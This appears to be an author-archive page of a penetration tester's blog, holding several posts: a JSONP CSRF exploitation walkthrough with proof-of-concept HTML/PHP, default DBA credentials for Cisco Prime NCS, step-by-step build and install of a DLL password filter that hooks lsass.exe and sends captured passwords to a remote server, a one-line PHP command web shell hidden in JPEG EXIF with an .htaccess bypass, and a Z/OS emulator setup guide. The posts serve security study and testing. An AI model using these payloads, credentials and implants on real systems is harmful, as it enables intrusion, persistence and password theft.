Author Archives: phocean

The joy of dependencies: Metasploit on Fedora 20

UPDATE 02/2015 : see there for the procedure on Fedora 21

As I started to use Fedora 20 at work – by the way, a solid distro with all security features enabled, I had the bad surprise to get similar issues to those on OS X.
Again, we will have to face the joy of dependencies! Fedora provides Ruby 2.0 by default, so firing msfconsole would fail with many openssl warnings, ending with:

Continue reading

(in)Security of JSONP: CSRF risks

JSONP vs JSON

I had an opportunity to experiment exploiting JSONP in real life. Honestly, I had never heard of it before.

JSON is a well known method to serialize data, but what is JSONP? Actually, it is nothing new, but rather a specific use of JSON.

In AJAX websites, XMLHttpRequest is used in client-side Javascript code to forge HTTP requests, which fetch data from some JSON service.

 For example, following a GUI event (onclick, mouseover, …), such XHR code may be executed:

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        alert(xhr.responseText);
    }
}
xhr.open('GET', 'http://example.com/search.php', true);
xhr.send(null);

The requested server may answer with XML data, or JSON like here:

{"id": 1, "name": "Foo", "price": 123}

However, XHR request is limited to the current domain, due to the SOP (Same Origin Policy) that is enforced on modern browsers. What if it is necessary to retrieve data from another domain?

Here comes JSONP as one of the possible solutions.

hello({"id": 1, "name": "Foo", "price": 123});

As you can see, data is padded (P in JSONP) inside a callback function, which we are going to study.

How JSONP works

The trick consists in requesting the JSONP service inside <script> tags, which, by design, are out of the SOP scope.

The call to the JSONP service just defines a callback function name as a parameter. Note that the callback function is included in the same page as the call.

Then, the JSONP service answers with data encapsulated inside the callback function name.  That way, the browser will execute the callback function and pass data as its parameters.

It is confusing to explain and I may have lost you in trying to explain. Hopefully this diagram may clarify this stuff:

XHR vs JSONP

XHR vs JSONP

Domain1 XHR requests to domain2 are not allowed. Therefore, the callback trick ensures that data is fetched from domain2 while the corresponding code is processed in the context of domain1.

All this way around has a unique goal: have the code to be executed in the same context as the originating page. In other words: bypassing the SOP.

 Security Concerns

This is not without any security caveats. Someone outlined some very valid points on Stackexchange, and it is well written, so I will just copy and paste what he said about JSONP security:

  • Requires excessive trust. Suppose you have a page hosted on a.com and it uses JSONP to access services provided by b.org. This involves placing 100% trust in b.org. If b.org is malicious or buggy, it can subvert the security of the embedding page and all of the a.com origin. This kind of excess trust is dangerous from a security perspective: it makes your application fragile.
    To put it another way: JSONP is basically a self-inflicted XSS. Yes, OK, I know it’s a feature, not a bug, but still…
  • CSRF vulnerabilities. You have to remember to defend against CSRF vulnerabilities, and with JSONP, that gets a bit tricky. Standard advice is to ensure that only POST requests can trigger a side-effect, and to include a CSRF token in all POST requests; but JSONP involves sending a GET request to trigger a side-effect, which ain’t exactly the cleanest solution you’ve ever seen. So this means that the host that provides JSONP service needs to remember to check CSRF tokens even on GET requests. Also, it requires a bit of a tricky protocol for the embedding page (a.com) to obtain the proper CSRF token from the JSONP service (b.org). It gets messy.
  • Causes mixed-content warnings. Suppose we have a page hosted on https://a.com and it accesses a JSONP service on http://b.org. Then this will inevitably trigger a scary-looking mixed-content warning (since JSONP involving loading a script from http://b.org).
  • User authentication gets ugly. If b.org wants to authenticate the user, that gets tricky to do when using JSONP. The embedding page (a.com) needs to first somehow give the user an opportunity to log into b.org in advance, before accessing b.org‘s JSONP service. Both sites need to coordinate.

I would just add that, though it is not perfect, it is at least possible to mitigate CSRF on GET requests by checking the HTTP referer (when possible).

Is this complete? Let me know if you have other suggestions.

Simple Exploitation

During a pentest, I had to audit a rather complex application which happened to do some requests to another server in JSONP.

The few following snippets are a simplified representation of the case.

Exploitation code right below may be uploaded to a server controlled by the attacker (who may need some social engineering to get the visitor to reach his page).

<html>
 <head>
 <script>
 hello = function(data) {
 alert("hello " + data.name);
 }
 </script>
 </head>
 <body>
 <h1>JSONP Call</h1>
 <script src="http://domain.com/jsonp.php?jsonp_callback=hello"></script>
 </body>
 </html>

So in red, the call to JSONP with the callback function name indicated. In green, the callback function itself. It is just displaying an alert box containing the fetched JSONP data, but of course it could have malicious features (like cookie stealing).

The JSONP service can be simulated by the following code,  hosted on another server (e.g. the attack target):

<?php
 header('Cache-Control: no-cache, must-revalidate');
 header('Expires: Mon, 1 Jan 2000 01:00:00 GMT');
 header('Content-type: application/json');
 $data = '{ "name": "world" }';
 echo $_GET['jsonp_callback'] . '(' . $data . ');';
?>

After receiving the <script> call, the function would just return:

hello({ "name": "world" });

Which, when received by the browser, would trigger the nice alert box.

 

JSONP callback execution

JSONP callback execution

The attack sequence may be represented like this:

Example of exploitation process of JSONP

Example of exploitation process of JSONP

In other words, the user browser is used as a proxy to make CSRF requests, which should be forbidden.

So what?

Exploitation depends on the target application configuration and the capability of the attacker to inject a Javascript call along with the callback function into the victim’s browser.

In the case I experienced, the JSONP host was not checking the referer. On top of that, it was hosted inside the corporate LAN.

So I was able to have a user visit a page on my server, which would silently make his browser call the JSONP service… and execute the Javascript in turn in the context of my page.

Impacts:

  • hijack of the user session to the server (theft of user cookies),
  • access to confidential data,
  • bypass of network filtering and SOP (the browser acts as a proxy),
  • phishing scenarios (fake forms, redirections, …).

Even if the target JSONP server had checked the referer, it would still be vulnerable in case the legitimate calling application would suffer from code injection (XSS).

Conclusion

Once the concept of JSONP is clear, it appears to be very simple and powerful to exploit.

As I just discovered this and had to craft the exploitation quickly, I would not conclude definitely on the topic.

Though, it seems that a JSONP service should at least check the referer before processing a call to get to an acceptable security level.

But I am not sure yet of what else could be done to improve the security further. It may be just crappy by design.

Please share if you have a more educated opinion on the topic. And as always, comments and constructive criticisms are welcome. Let me know if something is unclear or incorrect.

References

Pentest of a Wi-Fi network with Cisco NCS

I had a chance to audit this device during a Wi-Fi pentest. Cisco Prime Network Control System is a Wi-Fi controller that allows to manage multiple access points and centralize their configuration: Wi-Fi settings, access control, security, etc.

I was surprised how easy it was to compromise this equipment, thanks to default credentials. Of course, Cisco published a patch… however how many network teams would have applied the patch ? Routers, switches, Wi-Fi controllers, especially when they are not part of the core infrastructure, are often dropped and forgotten for years…

Here is the vendor advisory, which is about “unspecified” default credentials. With a little of ninja googling, I managed to glue the pieces.

It was not that easy to find the credentials in questions, but the guys from Tenable Security managed to get the info: wcsdba / wcs123.

Now, you will think, “ok, but we need to find a way to reach the database…’. Piece of cake! By default, the device exposes an Oracle listener on port 1522.

Then, we would need to know the Oracle instance… Don’t think too much, don’t even look up at your wordlists, this is just: WCS.

Of course, as you should guess now, the account has DBA privileges. :-)

So, in summary:

Oracle listener on port TCP 1522
Instance: WCS
Account: wcsdba
Password: wcs123
Privileges: DBA

Now you can do pretty much every thing: control network settings, grab and crack password hashes, etc.

Besides, there is also an XSS on a login page…

Well done Cisco, for not hardening anything.  :-/

Have fun!

Password stealing using a password filter

Nice stuff from @mubix: the technic consists in injecting a DLL to lsass.exe, using the password filter feature of Windows.

The password filter architecture is useful to check that a password is compliant with the system security policy. It will typically check that when a user changes his password, it follows the required complexity.

Microsoft opened the API so that users can extend the functionality with their own filters.

Mubix diverted this API by developing a password logger: the DLL just logs the password both on the disk and a remote server,  and does nothing else.

A perfect way to maintain a persistent access… I tested it:

Evilpassfilter exploitation process

Evilpassfilter exploitation process

  1. Evilpassfilter.dll is loaded into lsass.exe
  2. A user updates his password
  3. The password goes through the Evilpassfilter password filter, which notifies the attacker through HTTP and also logs it locally.

Here is what I did to get it work (Windows 7 x64):

  • Make sure the local password security policy is enabled on the target
  • Create a new Win32 project in Visual Studio (2012)
  • Eventually delete unnecessary files, to start with an empty project (stadfx.h and cie)
  • Import the source code
  • Create a Evilpassfilter.def file, which defines the exports:
    LIBRARY Evilpassfilter
    EXPORTS
       InitializeChangeNotify
       PasswordFilter
       PasswordChangeNotify
  • In the project properties, make sure to select the appropriate architecture, matching with the one of your target.

    Selecting the compilation target architecture (win32/x64)

    Selecting the compilation target architecture (win32/x64)

  • In the input settings of the link editor, add wininet.lib as additional dependancy.
  • Also add Evilpassfilter.def as module definition file.

    Evilpassfilter Visual Studio settings

    Evilpassfilter Visual Studio settings

  • In the source code, fix line 72: return; –> return 1;
  • Now you should be able to compile the library. You may want to make sure that the DLL is valid and integrated the exports (open it with IDA or a PE tool):

    Evilpassfilter.dll exports seen in IDA

    Evilpassfilter.dll exports seen in IDA

  • Copy the resulting DLL to the system32 folder.
  • Open regedit HKLM\System\CurrentControlSet\Control\Lsa
    and add Evilpassfilter to the Notification Packages

Reboot and… now you should know what to do next :-)

File upload vulnerabilities : appending PHP code to an image

Several ways may be used to protect a file upload functionality on a website.

A first method is content-type checking, which can be easily bypassed with a intercepting proxy (tampering the MIME type). The screenshot below shows an intercepted request where the attacker modifies the content-type (beforehand text/php) and then forwards the content to the server:

HTTP POST content-type tampering

HTTP POST content-type tampering

Thus, the content-type filtering is bypassed.

Another method consists in checking the file name extension. If simple bypasses like playing with lowercase (.PHP instead of .php), using multiple extension (.php.foo) or triggering the NULL byte (.php%00.jpg) do not work, there is a last chance by uploading a crafted image.

JPEG files are convenient for code injection: they support EXIF metadata, which include a comment field where anything can be written, as long as it is on a single line.

So, when a web server parses the image content, it may interpret the PHP code inside if it is improperly secured.

The method is however totally dependent on the ability to upload a .htaccess file, which may be a long way to go.

Though, one advantage of using an image in most upload vulnerability exploitation cases is stealth: an image will always look less suspicious than a dropped .php file.

Anyway, for fun, here is how to do:

  1. Upload a .htaccess file that contains:
    AddType application/x-httpd-php .jpg
  2. Take a JPEG file of your choice, install the jhead tool (there are many alternatives, like exiftool, but this one is straightforward).
  3. House-keeping (delete extra headers):
    jhead -purejpg <filename>.jpg
  4. Edit EXIF JPEG comment:
    jhead -ce <filename>.jpg
  5. Copy / paste your PHP code, like this one for instance (must fit in one line):
    <style>body{font-size: 0;}h1{font-size: 12px}</style><h1><?php if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);}else{echo '<img src="./clean_imagejs';}__halt_compiler();?></h1>

    This code just reads a command from the cmd parameter when it is set. If it is absent, then for more discretion it displays another image (clean_image.jpg, that you would have uploaded previously, for instance). The CSS style trick (font size of 0) just hides some garbage that comes from the JPEG header.

  6. Just upload the file and test it! DVWA is a convenient and safe way for that.

Note this nice article as a reference on the topic, and the solution that is suggested to fix such a vulnerability: disabling one way or another script execution on the upload directory and use random server-side file renaming.

My goodness, I got mainframed!

Mainframes are not dead, why not pentesting it?

I just watched the presentation of Phil Young at Shmoocon 2013: “Mainframed: the secrets inside that black box“. I truly loved it. I thought mainframes where disappearing, but I was surprised to see that it still alive. I was even more surprised to find out that they have some Unix interface, and that there is a emulator for x86. Where it was less of a surprise is that their security is pretty low :-)

Anyway, don’t miss watching the video. Phil’s blog, “Soldier of Fortran”, is also a gold mine, he wrote many tips, tutos and tools.

It made me very curious and just in case I find some IBM Z/OS during a pentest, I though it would be nice to run it.

Installing

Disclaimer:

Although some Z/OS files are available for download on the Internet, you must own a legal license of Z/OS. This tutorial is exclusively for education-purpose, use it only for testing, never in production nor for illegal activities.

Also, I am a noob in the area. So if some of you are skilled and find mistakes or improvements, please let me know in the comments. I give a great importance to your feedback and it encourages me to continue.

I glued the pieces in the following steps (Mac OS oriented and tested only with it, the same should work for Linux with minor adjustments and see the reference otherwise):

  1. Download and install tn3270 (Mac) or x3270 (Windows, Linux, Mac): this will be the client terminal used to connect to the mainframe.
  2. Download the emulator, Hercules. Install it, following the README instructions relevant to your system. Note that the instructions for Mac OS are outdated and won’t work. I followed Phil’s instructions:
git clone git://github.com/s390guy/hercules-390.git
cd hercules-390
sh autogen.sh
./configure
make
make install
  1. Take some IBM Z/OS release, and install it:
mv IBM\ ZOS\ 1.10/Z110SA/images/Z110\ -\ Copy /YOUR/PATH/HERE/Z110
cd /YOUR/PATH/HERE/Z110
mkdir PRTR
cd CONF
cp ADCD_LINUX.CONF ADCD_MAC.CONF
sed -i '' 's/\/home\/ehrocha\/hercules\/images/\/YOUR\/PATH\/HERE/g' ADCD_MAC.CONF
sed -i '' 's/CNSLPORT \{2\}23/CNSLPORT  3270/g' ADCD_MAC.CONF
sed -i '' 's/0E20.2   LCS  10.0.1.20/0E20.2 3088 CTCI \/dev\/tun0 1500 10.10.10.11 10.10.10.12 255.255.255.255/g' ADCD_MAC.CONF
  1. Getting the network to work on Mac OS require some extra steps (skip it if your are using Linux).

Download tuntaposx, uncompress and install the package. No reboot it necessary, you should now have plenty of tun* (and tap*) interfaces:

$ ls /dev/tun*
/dev/tun0 /dev/tun10 /dev/tun12 /dev/tun14 /dev/tun2 /dev/tun4 /dev/tun6 /dev/tun8
/dev/tun1 /dev/tun11 /dev/tun13 /dev/tun15 /dev/tun3 /dev/tun5 /dev/tun7 /dev/tun9
  1. Okay, now we can start the emulator (we need to sudo to access to the tun0 interface, among other reasons):
sudo hercules -f ADCD_MAC.CONF

First of all, checks that the network is fine:

# From Mac OS:
$ ifconfig tun0
tun0: flags=8851<UP,POINTOPOINT,RUNNING,SIMPLEX,MULTICAST> mtu 1500
 inet 10.10.10.12 --> 10.10.10.11 netmask 0xff000000 
 open (pid 98687)

# From Hercules:
herc =====> devlist
[...]
HHC02279I 0:0E20 3088 CTCI 10.10.10.11/10.10.10.12 (tun0) IO[0] open
HHC02279I 0:0E21 3088 CTCI 10.10.10.11/10.10.10.12 (tun0) IO[0] open

Open tn3270 and connect with default settings on localhost:

tn3270 connection

And then in the hercules terminal, enter ipl a80

boot zos

Hercules390 console: booting Z/OS

It is very long to boot, don’t worry. You will actually have to use 2 terminals, so open the second one, which will show the logon screen (see screenshot below) after booting is done. It will be used for “userland” aka TSO commands.

The first terminal shall be kept open as the master console, which receive system logs and can be used for “system-level”* commands (e.g root level).

Z/OS "Duza" logon screen

Z/OS “Duza” logon screen

  1. At the prompt, enter TSO, then IBMUSER as the login, and SYS1 as the password. It will automatically launch the ISPF menu:
ISPF menu

ISPF menu

  1. Now, you are good to go ahead with Z/OS commands…

This video demonstrates the boot process:

Z/OS emulation with Hercules390 from phocean on Vimeo.

  1. Now, let’s get the network up.

Prepare Mac OS:

  • Make sure that the Mac OS firewall is deactivated or/and that you configured pf to allow the tun0 interface (another article coming soon on this topic).
  • Add a route to tun0
sudo route add -net 10.10.10.0/24 -interface tun0
  • You may want to activate ip forwarding, to have the Z/OS reach other interfaces through the kernel:
sudo sysctl -w net.inet.ip.forwarding=1

Now every thing is in place to allow the mainframe to reach the outside. Further routing considerations are outside the scope of this article.

Prepare Z/OS:

  • In TSO menu, choose 3 (utilities), 4 (Dslist)
  • Click on the line besides Dsname Level and type-in ADCD and then press [Enter]. ADCD is what is called a dataset.
  • In the Command column, on the left of ADCD.Z110S.PROCLIB, type in e (stands for edit, reproduce the same pattern when I say “edit” in the following steps)
  • Edit the TCPIP member, and make sure that the //PROFILE line looks like this:
//PROFILE DD DISP=SHR,DSN=ADCD.Z110S.TCPPARMS(DUZA)

You could change the DUZA string, but you would have to make sure that the corresponding profile exists in ADCD.Z110S.TCPPARMS (see TODO section).

  • Go back to Dslist page using end or exit as a command. This time, type DUZA as dataset.
  • Edit the TCPARMS member, then PROFILE. Once in the file, edit carefuly the following lines (at the bottom, around line 90):
000090 DEVICE CTCA1 CTC e20
000091 LINK CTC1 CTC 1 CTCA1
000092
000093 HOME
000094    10.10.10.11  CTC1
000095
000096 GATEWAY
000097    10.10.10.12  = CTC1 1492 HOST
000098
000099 DEFAULTNET 10.10.10.12 CTC1 1492 0
[...]
000109 START CTCA1
  • In the console window, restart the network stack:
stop tcpip
# wait for termination message
start tcpip
  • If every is going well, the tunnel should get up and you should be able to ping both side (use the ping command in Z/OS from the command menu).

This video illustrates some of this networking stuff:

Hercules390 and Z/OS, getting the network up from phocean on Vimeo.

Useful commands

  • Ifconfig
netstat home
  • Shutdown
# in "system" terminal:
S SHUTSYS
Z EOD

# then, once finished, in Hercules:
exit

Tips

  • I was stuck at an early moment during the boot process with:
IXC208I THE RESPONSE TO MESSAGE IXC420D IS INCORRECT: IS NOT A VALID 
ACTION 
 IXC420D REPLY I TO INITIALIZE SYSPLEX ADCDPL, OR R TO REINITIALIZE 
XCF.     
  REPLYING I WILL IMPACT OTHER ACTIVE SYSTEMS.

You can go over it by entering this in your terminal session (tn3270):

R 00, I
  • After the long process, I actually had to open a second connection with the terminal to get the logon screen. So, just check from time to time instead of waiting for nothing in front of the first window.
  • To logoff, type X from the ISPF main menu. The first time, you have to configure the printer. Choose LOCAL as print mode, and give it any name as Local printer ID. Then press [Enter], and if you are asked for a sysout class, choose "J". You should be back in TSO, where you can execute logoff. Next time, it will default to these values, so you should get straight from ISPF to TSO.
  • Don’t forget that TSO is a CLI where you can type Z/OS and Unix commands. You actually don’t need or have to use ISPF, so don’t hesitate to use it!

Of course, a good source of information is the hercules390 forum may also be of help.

Voilà, happy hacking! WTF, it seems I got mainframed too! Did you?

Big thanks again to Phil Young for catching our attention on this stuff.

TODO

  • Understand and get rid off the DUZO profile: you probably noticed that we are using the DUZO  profile to load the network stack (which is after the name of the torrent, and does probably more stuff behind). For example, there is no DUZO profile in ADCD.Z110S.TCPPARMS, so I still have no idea how it actually gets loaded. It has been only 2 days that I work on Z/OS, so I still have to read the doc (and any help is welcome).
  • Change the logon screen (see references).

References